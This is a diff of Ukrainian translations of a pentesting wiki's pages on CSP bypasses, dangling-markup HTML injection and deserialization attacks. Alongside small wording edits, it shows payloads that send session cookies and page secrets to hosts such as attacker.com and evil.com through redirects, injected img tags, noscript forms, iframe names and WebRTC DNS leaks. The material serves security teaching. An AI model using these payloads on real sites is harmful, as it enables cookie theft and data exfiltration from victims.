@ -603,14 +601,14 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
### Переповнення буфера відповіді PHP ### Переповнення буфера відповіді PHP
PHP відомий тим, що **буферизує відповідь до 4096** байт за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **перед** **CSP заголовком**, що призведе до ігнорування заголовка.\ PHP відомий тим, що **буферизує відповідь до 4096** байт за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
Отже, техніка в основному полягає в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий. Отже, техніка в основному полягає в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий.
Ідея з [**цього звіту**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). Ідея з [**цього звіту**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Переписати сторінку помилки ### Переписати сторінку помилки
З [**цього звіту**](https://blog.ssrf.kr/69) виглядає так, що було можливо обійти захист CSP, завантаживши сторінку помилки (потенційно без CSP) і переписавши її вміст. З [**цього звіту**](https://blog.ssrf.kr/69) виглядає так, що було можливо обійти захист CSP, завантаживши сторінку помилки (можливо без CSP) і переписавши її вміст.
```javascript ```javascript
a = window.open("/" + "x".repeat(4100)) a = window.open("/" + "x".repeat(4100))
setTimeout(function () { setTimeout(function () {
@ -619,15 +617,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
``` ```
### SOME + 'self' + wordpress ### SOME + 'self' + wordpress
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** реальної кінцевої точки, щоб зловживати. Для отримання додаткової інформації дивіться: SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки зловмисника, а потім оновлення сторінки зловмисника до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації дивіться:
{{#ref}} {{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md ../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}} {{#endref}}
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відображатиме** **дані**, надіслані в вихід (з обмеженням лише на літери, цифри та крапки). Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відобразить** **дані**, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
Атакуючий може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\ Зловмисник може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, зловмисник може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
Для отримання додаткової інформації про те, як виконати цю атаку, дивіться [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) Для отримання додаткової інформації про те, як виконати цю атаку, дивіться [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses ## CSP Exfiltration Bypasses
@ -636,14 +634,14 @@ SOME - це техніка, яка зловживає XSS (або сильно
### Location ### Location
Ви можете просто оновити місцезнаходження, щоб надіслати на сервер атакуючого секретну інформацію: Ви можете просто оновити місцезнаходження, щоб надіслати секретну інформацію на сервер зловмисника:
```javascript ```javascript
var sessionid = document.cookie.split("=")[1] + "." var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid document.location = "https://attacker.com/?" + sessionid
``` ```
### Meta тег ### Meta tag
Ви можете перенаправити, вставивши мета тег (це лише перенаправлення, це не призведе до витоку контенту) Ви можете перенаправити, вставивши мета-тег (це просто перенаправлення, це не призведе до витоку контенту)
```html ```html
<meta http-equiv="refresh" content="1; http://attacker.com" /> <meta http-equiv="refresh" content="1; http://attacker.com" />
``` ```
@ -680,7 +678,7 @@ X-DNS-Prefetch-Control: off
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP. На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом: Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Перегляньте цей код:
```javascript ```javascript
;(async () => { ;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

View File

@ -4,7 +4,7 @@ Content-Security-Policy: default-src 'self' 'unsafe-inline';
``` ```
Забороняє використання будь-яких функцій, які виконують код, переданий як рядок. Наприклад: `eval, setTimeout, setInterval` будуть заблоковані через налаштування `unsafe-eval`. Забороняє використання будь-яких функцій, які виконують код, переданий як рядок. Наприклад: `eval, setTimeout, setInterval` будуть заблоковані через налаштування `unsafe-eval`.
Будь-який контент з зовнішніх джерел також заблоковано, включаючи зображення, CSS, WebSockets і, особливо, JS. Будь-який контент з зовнішніх джерел також заблокований, включаючи зображення, CSS, WebSockets і, особливо, JS.
### Через текст та зображення ### Через текст та зображення
@ -19,7 +19,7 @@ window.frames[0].document.head.appendChild(script)
``` ```
### Через помилки ### Через помилки
Аналогічно, відповіді з помилками, такі як текстові файли або зображення, зазвичай приходять без заголовків CSP і можуть не містити X-Frame-Options. Помилки можна викликати для завантаження в iframe, що дозволяє виконати наступні дії: Аналогічно, відповіді з помилками, такі як текстові файли або зображення, зазвичай приходять без заголовків CSP і можуть не містити X-Frame-Options. Помилки можуть бути викликані для завантаження в iframe, що дозволяє виконати наступні дії:
```javascript ```javascript
// Inducing an nginx error // Inducing an nginx error
frame = document.createElement("iframe") frame = document.createElement("iframe")
@ -43,7 +43,7 @@ for (var i = 0; i < 5; i++) {
document.cookie = i + "=" document.cookie = i + "="
} }
``` ```
Після активації будь-якого з вказаних сценаріїв, виконання JavaScript в межах iframe можливе наступним чином: Після активації будь-якого з наведених сценаріїв, виконання JavaScript в межах iframe можливе наступним чином:
```javascript ```javascript
script = document.createElement("script") script = document.createElement("script")
script.src = "//example.com/csp.js" script.src = "//example.com/csp.js"

View File

@ -5,13 +5,13 @@
## Резюме ## Резюме
Цю техніку можна використовувати для витягування інформації від користувача, коли **знайдено HTML-ін'єкцію**. Це дуже корисно, якщо ви **не знаходите жодного способу експлуатувати** [**XSS** ](../xss-cross-site-scripting/), але можете **впровадити деякі HTML-теги**.\ Цю техніку можна використовувати для витягування інформації від користувача, коли **знайдено HTML-ін'єкцію**. Це дуже корисно, якщо ви **не знаходите жодного способу експлуатувати** [**XSS** ](../xss-cross-site-scripting/), але можете **впровадити деякі HTML-теги**.\
Це також корисно, якщо деяка **секретна інформація зберігається у відкритому тексті** в HTML, і ви хочете **екстрагувати** її з клієнта, або якщо ви хочете ввести в оману виконання деяких скриптів. Це також корисно, якщо деяка **секретна інформація зберігається у відкритому тексті** в HTML, і ви хочете **екстрагувати** її з клієнта, або якщо ви хочете ввести в оману виконання деякого скрипта.
Кілька технік, згаданих тут, можна використовувати для обходу деякої [**Політики безпеки контенту**](../content-security-policy-csp-bypass/) шляхом екстракції інформації несподіваними способами (HTML-теги, CSS, http-мета теги, форми, base...). Кілька технік, згаданих тут, можна використовувати для обходу деякої [**Політики безпеки контенту**](../content-security-policy-csp-bypass/) шляхом екстракції інформації несподіваними способами (HTML-теги, CSS, http-мета-теги, форми, base...).
## Основні застосування ## Основні застосування
### Вкрадення секретів у відкритому тексті ### Вкрадання секретів у відкритому тексті
Якщо ви впровадите `<img src='http://evil.com/log.cgi?` під час завантаження сторінки, жертва надішле вам увесь код між впровадженим тегом `img` і наступною лапкою всередині коду. Якщо секрет якимось чином знаходиться в цьому фрагменті, ви його вкрадете (ви можете зробити те ж саме, використовуючи подвійні лапки, подивіться, що може бути більш цікавим для використання). Якщо ви впровадите `<img src='http://evil.com/log.cgi?` під час завантаження сторінки, жертва надішле вам увесь код між впровадженим тегом `img` і наступною лапкою всередині коду. Якщо секрет якимось чином знаходиться в цьому фрагменті, ви його вкрадете (ви можете зробити те ж саме, використовуючи подвійні лапки, подивіться, що може бути більш цікавим для використання).
@ -55,17 +55,17 @@ steal me'<b>test</b>
I get consumed! I get consumed!
</button> </button>
``` ```
Зловмисник може використовувати це для крадіжки інформації. Зловмисник може використовувати це для викрадення інформації.
Знайдіть [**приклад цього нападу в цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Знайдіть [**приклад цього нападу в цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### Крадіжка відкритих текстових секретів 2 ### Викрадення відкритих текстових секретів 2
Використовуючи останньо згадану техніку для крадіжки форм (впровадження нового заголовка форми), ви можете потім впровадити нове поле введення: Використовуючи останньо згадану техніку для викрадення форм (інжекція нового заголовка форми), ви можете потім інжектувати нове поле введення:
```html ```html
<input type='hidden' name='review_body' value=" <input type='hidden' name='review_body' value="
``` ```
і це поле введення міститиме весь вміст між його подвійними лапками та наступними подвійними лапками в HTML. Цей напад поєднує "_**Викрадення відкритих текстових секретів**_" з "_**Викрадення форм2**_". і це поле введення міститиме весь вміст між його подвійними лапками та наступними подвійними лапками в HTML. Цей напад поєднує "_**Викрадення секретів у відкритому тексті**_" з "_**Викрадення форм2**_".
Ви можете зробити те ж саме, інжектуючи форму та тег `<option>`. Усі дані до закритого `</option>` будуть надіслані: Ви можете зробити те ж саме, інжектуючи форму та тег `<option>`. Усі дані до закритого `</option>` будуть надіслані:
```html ```html
@ -73,7 +73,7 @@ I get consumed!
``` ```
### Впровадження параметрів форми ### Впровадження параметрів форми
Ви можете змінити шлях форми та вставити нові значення, щоб виконати несподівану дію: Ви можете змінити шлях форми та вставити нові значення, щоб виконати неочікувану дію:
```html ```html
<form action="/change_settings.php"> <form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines <input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
@ -86,11 +86,11 @@ I get consumed!
</form> </form>
</form> </form>
``` ```
### Вкрадення секретів у відкритому тексті через noscript ### Викрадення секретів у відкритому тексті через noscript
`<noscript></noscript>` Це тег, вміст якого буде інтерпретовано, якщо браузер не підтримує javascript (ви можете увімкнути/вимкнути Javascript у Chrome за адресою [chrome://settings/content/javascript](chrome://settings/content/javascript)). `<noscript></noscript>` Це тег, вміст якого буде інтерпретовано, якщо браузер не підтримує javascript (ви можете увімкнути/вимкнути Javascript у Chrome за адресою [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції до низу на сайт, контрольований зловмисником, буде ін'єкція цього: Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції донизу на сайт, контрольований зловмисником, буде ін'єкція цього:
```html ```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript> <noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
``` ```
@ -102,7 +102,7 @@ I get consumed!
<base target=' <base target='
``` ```
Зверніть увагу, що ви попросите **жертву** **клікнути на посилання**, яке **перенаправить** його на **payload**, контрольований вами. Також зверніть увагу, що атрибут **`target`** всередині тегу **`base`** міститиме **HTML контент** до наступної одинарної лапки.\ Зверніть увагу, що ви попросите **жертву** **клікнути на посилання**, яке **перенаправить** його на **payload**, контрольований вами. Також зверніть увагу, що атрибут **`target`** всередині тегу **`base`** міститиме **HTML контент** до наступної одинарної лапки.\
Це зробить так, що **значення** **`window.name`**, якщо посилання буде клікнуто, буде всім цим **HTML контентом**. Тому, оскільки ви **контролюєте сторінку**, на яку жертва переходить, клікнувши на посилання, ви можете отримати доступ до цього **`window.name`** і **exfiltrate** ці дані: Це зробить так, що **значення** **`window.name`**, якщо посилання буде клікнуто, буде всім цим **HTML контентом**. Тому, оскільки ви **контролюєте сторінку**, на яку жертва переходить, клікнувши на посилання, ви можете отримати доступ до цього **`window.name`** і **екстрактувати** ці дані:
```html ```html
<script> <script>
if(window.name) { if(window.name) {
@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog
... function submit_status_update() { ... request.share_with = ... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... } document.getElementById('share_with').value; ... }
``` ```
### Оманливий сценарій робочого процесу 2 - Атака на простір імен сценарію ### Оманливий робочий процес скриптів 2 - Атака на простір імен скриптів
Створіть змінні всередині простору імен javascript, вставляючи HTML теги. Потім ця змінна вплине на потік програми: Створіть змінні всередині простору імен javascript, вставляючи HTML теги. Потім ця змінна вплине на потік програми:
```html ```html
@ -148,7 +148,7 @@ set_sharing({ ... })
```html ```html
<script src="/search?q=a&call=alert(1)"></script> <script src="/search?q=a&call=alert(1)"></script>
``` ```
### Зловживання Iframe ### Зловживання iframe
Дочірній документ має можливість переглядати та змінювати властивість `location` свого батька, навіть у ситуаціях з різними джерелами. Це дозволяє вбудовувати скрипт у **iframe**, який може перенаправити клієнта на довільну сторінку: Дочірній документ має можливість переглядати та змінювати властивість `location` свого батька, навіть у ситуаціях з різними джерелами. Це дозволяє вбудовувати скрипт у **iframe**, який може перенаправити клієнта на довільну сторінку:
```html ```html
@ -161,9 +161,9 @@ top.window.location = "https://attacker.com/hacked.html"
</body> </body>
</html> </html>
``` ```
Це можна пом'якшити за допомогою чогось на зразок: `sandbox=' allow-scripts allow-top-navigation'` Це можна пом'якшити за допомогою чогось на кшталт: `sandbox=' allow-scripts allow-top-navigation'`
Iframe також може бути зловжито використаний для витоку чутливої інформації з іншої сторінки **використовуючи атрибут імені iframe**. Це пов'язано з тим, що ви можете створити iframe, який сам себе вбудовує, зловживаючи HTML-ін'єкцією, що змушує **чутливу інформацію з'являтися всередині атрибута імені iframe**, а потім отримати це ім'я з початкового iframe і витікати його. Iframe також може бути зловжито використаний для витоку чутливої інформації з іншої сторінки **використовуючи атрибут імені iframe**. Це пов'язано з тим, що ви можете створити iframe, який сам себе вбудовує, зловживаючи HTML-ін'єкцією, що змушує **чутливу інформацію з'являтися всередині атрибута імені iframe**, а потім отримати доступ до цього імені з початкового iframe і витікати його.
```html ```html
<script> <script>
function cspBypass(win) { function cspBypass(win) {
@ -176,7 +176,7 @@ setTimeout(() => alert(win[0].name), 500)
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe> onload="cspBypass(this.contentWindow)"></iframe>
``` ```
Для отримання додаткової інформації перевірте [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) Для отримання додаткової інформації перегляньте [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \<meta зловживання ### \<meta зловживання
@ -187,7 +187,7 @@ onload="cspBypass(this.contentWindow)"></iframe>
### Новий \<portal HTML тег ### Новий \<portal HTML тег
Ви можете знайти дуже **цікаве дослідження** про вразливості, які можна експлуатувати, тегу \<portal [тут](https://research.securitum.com/security-analysis-of-portal-element/).\ Ви можете знайти дуже **цікаве дослідження** про вразливості, які можна експлуатувати, тегу \<portal [тут](https://research.securitum.com/security-analysis-of-portal-element/).\
На момент написання цього тексту вам потрібно увімкнути тег portal у Chrome в `chrome://flags/#enable-portals`, інакше він не працюватиме. На момент написання цього тексту вам потрібно увімкнути тег portal у Chrome за адресою `chrome://flags/#enable-portals`, інакше він не працюватиме.
```html ```html
<portal src='https://attacker-server? <portal src='https://attacker-server?
``` ```

View File

@ -16,7 +16,7 @@
- `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повернути масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення. - `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повернути масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення.
- `__wakeup`: Викликається, коли об'єкт десеріалізується. Він використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації. - `__wakeup`: Викликається, коли об'єкт десеріалізується. Він використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.
- `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує) під час десеріалізації об'єкта. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`. - `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує), коли об'єкт десеріалізується. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`.
- `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Він зазвичай використовується для завдань очищення, таких як закриття дескрипторів файлів або з'єднань з базою даних. - `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Він зазвичай використовується для завдань очищення, таких як закриття дескрипторів файлів або з'єднань з базою даних.
- `__toString`: Цей метод дозволяє об'єкту розглядатися як рядок. Він може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта. - `__toString`: Цей метод дозволяє об'єкту розглядатися як рядок. Він може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта.
```php ```php
@ -74,10 +74,10 @@ This is a test<br />
*/ */
?> ?>
``` ```
Якщо ви подивитеся на результати, ви можете побачити, що функції **`__wakeup`** та **`__destruct`** викликаються, коли об'єкт десеріалізується. Зверніть увагу, що в кількох підручниках ви знайдете, що функція **`__toString`** викликається, коли намагаються надрукувати деякий атрибут, але, очевидно, це **більше не відбувається**. Якщо ви подивитеся на результати, ви можете побачити, що функції **`__wakeup`** та **`__destruct`** викликаються, коли об'єкт десеріалізується. Зверніть увагу, що в кількох підручниках ви знайдете, що функція **`__toString`** викликається при спробі надрукувати деякий атрибут, але, очевидно, це **більше не відбувається**.
> [!WARNING] > [!WARNING]
> Метод **`__unserialize(array $data)`** викликається **замість `__wakeup()`**, якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних завдань під час десеріалізації. > Метод **`__unserialize(array $data)`** викликається **замість `__wakeup()`**, якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних завдань після десеріалізації.
> >
> ```php > ```php
> class MyClass { > class MyClass {
@ -85,16 +85,16 @@ This is a test<br />
> >
> public function __unserialize(array $data): void { > public function __unserialize(array $data): void {
> $this->property = $data['property']; > $this->property = $data['property'];
> // Виконати будь-які необхідні завдання під час десеріалізації. > // Виконати будь-які необхідні завдання після десеріалізації.
> } > }
> } > }
> ``` > ```
Ви можете прочитати пояснений **PHP приклад тут**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), тут [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) або тут [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) Ви можете прочитати пояснений **PHP приклад тут**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), тут [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) або тут [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Десеріалізація + Автозавантаження класів ### PHP Deserial + Autoload Classes
Ви можете зловживати функціональністю автозавантаження PHP, щоб завантажувати довільні php файли та більше: Ви можете зловживати функціональністю автозавантаження PHP для завантаження довільних php файлів і більше:
{{#ref}} {{#ref}}
php-deserialization-+-autoload-classes.md php-deserialization-+-autoload-classes.md
@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P())))
``` ```
Перед перевіркою техніки обходу спробуйте використати `print(base64.b64encode(pickle.dumps(P(),2)))`, щоб згенерувати об'єкт, який сумісний з python2, якщо ви використовуєте python3. Перед перевіркою техніки обходу спробуйте використати `print(base64.b64encode(pickle.dumps(P(),2)))`, щоб згенерувати об'єкт, який сумісний з python2, якщо ви використовуєте python3.
Для отримання додаткової інформації про вихід з **pickle jails** дивіться: Для отримання додаткової інформації про вихід з **pickle jails** перегляньте:
{{#ref}} {{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -282,7 +282,7 @@ funcster.deepDeserialize(desertest3)
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
Пакет **serialize-javascript** призначений виключно для серіалізації, не маючи вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних: Пакет **serialize-javascript** призначений виключно для цілей серіалізації, не маючи жодних вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
```javascript ```javascript
function deserialize(serializedJavascript) { function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")") return eval("(" + serializedJavascript + ")")
@ -313,7 +313,7 @@ deserialize(test)
## Java - HTTP ## Java - HTTP
У Java, **зворотні виклики десеріалізації виконуються під час процесу десеріалізації**. Це виконання може бути використано зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій. У Java **зворотні виклики десеріалізації виконуються під час процесу десеріалізації**. Це виконання може бути використане зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій.
### Відбитки ### Відбитки
@ -327,8 +327,8 @@ deserialize(test)
Зверніть особливу увагу на: Зверніть особливу увагу на:
- `XMLDecoder`, що використовується з параметрами, визначеними зовнішніми користувачами. - `XMLDecoder`, що використовується з параметрами, визначеними зовнішніми користувачами.
- Метод `fromXML` бібліотеки `XStream`, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона підлягає проблемам серіалізації. - Метод `fromXML` з `XStream`, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона підлягає проблемам серіалізації.
- `ObjectInputStream` у поєднанні з методом `readObject`. - `ObjectInputStream`, пов'язаний з методом `readObject`.
- Реалізацію методів, таких як `readObject`, `readObjectNodData`, `readResolve` або `readExternal`. - Реалізацію методів, таких як `readObject`, `readObjectNodData`, `readResolve` або `readExternal`.
- `ObjectInputStream.readUnshared`. - `ObjectInputStream.readUnshared`.
- Загальне використання `Serializable`. - Загальне використання `Serializable`.
@ -342,7 +342,7 @@ deserialize(test)
- HTTP заголовки відповіді з `Content-type`, встановленим на `application/x-java-serialized-object`. - HTTP заголовки відповіді з `Content-type`, встановленим на `application/x-java-serialized-object`.
- Шістнадцятковий шаблон, що вказує на попереднє стиснення: `1F 8B 08 00`. - Шістнадцятковий шаблон, що вказує на попереднє стиснення: `1F 8B 08 00`.
- Base64 шаблон, що вказує на попереднє стиснення: `H4sIA`. - Base64 шаблон, що вказує на попереднє стиснення: `H4sIA`.
- Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку має спонукати до перевірки, як детально описано в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md). - Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку має спонукати до перевірки, як зазначено в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
``` ```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
``` ```
@ -361,7 +361,7 @@ grep -R InvokeTransformer .
Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.\ Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.\
При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він проходить, і дайте йому закінчити. Він запише всі знахідки під _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**. При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він проходить, і дайте йому закінчити. Він запише всі знахідки під _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**.
#### Чорний ящик #### Чорна скринька
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете визначити **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\ Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете визначити **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
[**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ [**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
@ -371,13 +371,13 @@ GadgetProbe зосереджений на **`ObjectInputStream` десеріал
[**Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ [**Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner зосереджений на **`ObjectInputStream`** десеріалізаціях. Java Deserialization Scanner зосереджений на **`ObjectInputStream`** десеріалізаціях.
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявить **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. У активному режимі він спробує підтвердити їх, використовуючи payload'и на основі затримки або DNS.\ Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявить **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він спробує підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
[**Ви можете знайти більше інформації про Freddy тут.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) [**Ви можете знайти більше інформації про Freddy тут.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Тест на серіалізацію** **Тест на серіалізацію**
